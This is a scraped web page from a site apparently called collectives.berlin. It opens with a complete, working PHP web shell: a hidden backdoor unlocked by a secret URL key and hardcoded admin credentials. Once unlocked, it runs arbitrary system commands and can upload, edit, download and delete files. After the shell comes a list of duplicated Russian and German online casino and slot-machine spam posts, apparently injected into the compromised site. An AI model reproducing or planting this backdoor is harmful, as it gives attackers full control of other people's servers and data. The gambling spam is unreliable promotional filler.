if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } 2000 Z – Page 2 – collectives.berlin

Your digital paradise.

Category: 2000 Z

  • Игровые автоматы Ля Казино — какие игры доступны

    Игровые автоматы Ля Казино — какие игры доступны Платформа Casino La реализует широкий выбор инструментов для пополнения и снятия средств. Доступны банковские карты ведущих российских и зарубежных банков, электронные платежные сервисы, а также поддержка криптовалют. Минимальная сумма для ввода составляет 500 рублей или эквивалент в иной валюте. Заявки на выплату оказываются в обработке от 15…

    Click or not…

  • Игровые автоматы Ля Казино — какие игры доступны

    Игровые автоматы Ля Казино — какие игры доступны Платформа Casino La реализует широкий выбор инструментов для пополнения и снятия средств. Доступны банковские карты ведущих российских и зарубежных банков, электронные платежные сервисы, а также поддержка криптовалют. Минимальная сумма для ввода составляет 500 рублей или эквивалент в иной валюте. Заявки на выплату оказываются в обработке от 15…

    Click or not…

  • Fruitinator Real Money — Informationen zum Spielautomaten

    Fruitinator Real Money — Informationen zum Spielautomaten Diese lassen sich auf Wunsch optional starten, um mögliche erzielte Gewinne zu vervielfachen. Bereits in den Anfängen der ersten salonfähigen Geldspielautomaten zählten Pflaumen neben weiteren Früchten zu den Klassikern in der Symbolik. Auf sie baut auch Merkur als deutsches Glücksspielunternehmen häufiger. Wenn sie nicht gerade zu den Hauptmotiven…

    Click or not…

  • Fruitinator Real Money — Informationen zum Spielautomaten

    Fruitinator Real Money — Informationen zum Spielautomaten Diese lassen sich auf Wunsch optional starten, um mögliche erzielte Gewinne zu vervielfachen. Bereits in den Anfängen der ersten salonfähigen Geldspielautomaten zählten Pflaumen neben weiteren Früchten zu den Klassikern in der Symbolik. Auf sie baut auch Merkur als deutsches Glücksspielunternehmen häufiger. Wenn sie nicht gerade zu den Hauptmotiven…

    Click or not…

  • Ля Казино вход — как войти на сайт

    Ля Казино вход — как войти на сайт Да, у онлайн-казино предусмотрены официальные приложения для Android и iOS. Также поддерживаются Windows и macOS для удобного доступа независимо от устройства. Моментальные выплаты и простая регистрация, большой плюс. В мобильном приложении иногда тормозят любимые слоты, но обновления выходят регулярно. Пользователи iPhone и iPad могут воспользоваться адаптированной мобильной…

    Click or not…

  • Ля Казино вход — как войти на сайт

    Ля Казино вход — как войти на сайт Да, у онлайн-казино предусмотрены официальные приложения для Android и iOS. Также поддерживаются Windows и macOS для удобного доступа независимо от устройства. Моментальные выплаты и простая регистрация, большой плюс. В мобильном приложении иногда тормозят любимые слоты, но обновления выходят регулярно. Пользователи iPhone и iPad могут воспользоваться адаптированной мобильной…

    Click or not…

  • Fruitinator App — Spielübersicht und Features

    Fruitinator App — Spielübersicht und Features Manchmal bietet die Glücksspielseite während der Woche mehrere Einzahlungsboni an. Natürlich ist die Höhe dieser Prämie geringer als der Willkommensbonus, aber Sie können sie viel öfter erhalten. Wenn Sie alle Ihre Münzen verlieren, müssen Sie die Casino Seite des Spielautomaten neu laden, woraufhin der Kontostand aktualisiert wird. Der Vorteil…

    Click or not…

  • Fishin Frenzy Demo — den Spielautomaten im Demomodus entdecken

    Fishin Frenzy Demo — den Spielautomaten im Demomodus entdecken Man sieht Fische, man wartet auf den Angler, und in den Freispielen kann jeder zusätzliche Fisch auf dem Bildschirm spürbar zählen. Während der Freispiele erscheint der ANGLER als spezielles Wild-Symbol. Er ersetzt normale Symbole und sammelt zusätzlich die Gewinnwerte aller sichtbaren Fisch-Symbole ein. Das ist der…

    Click or not…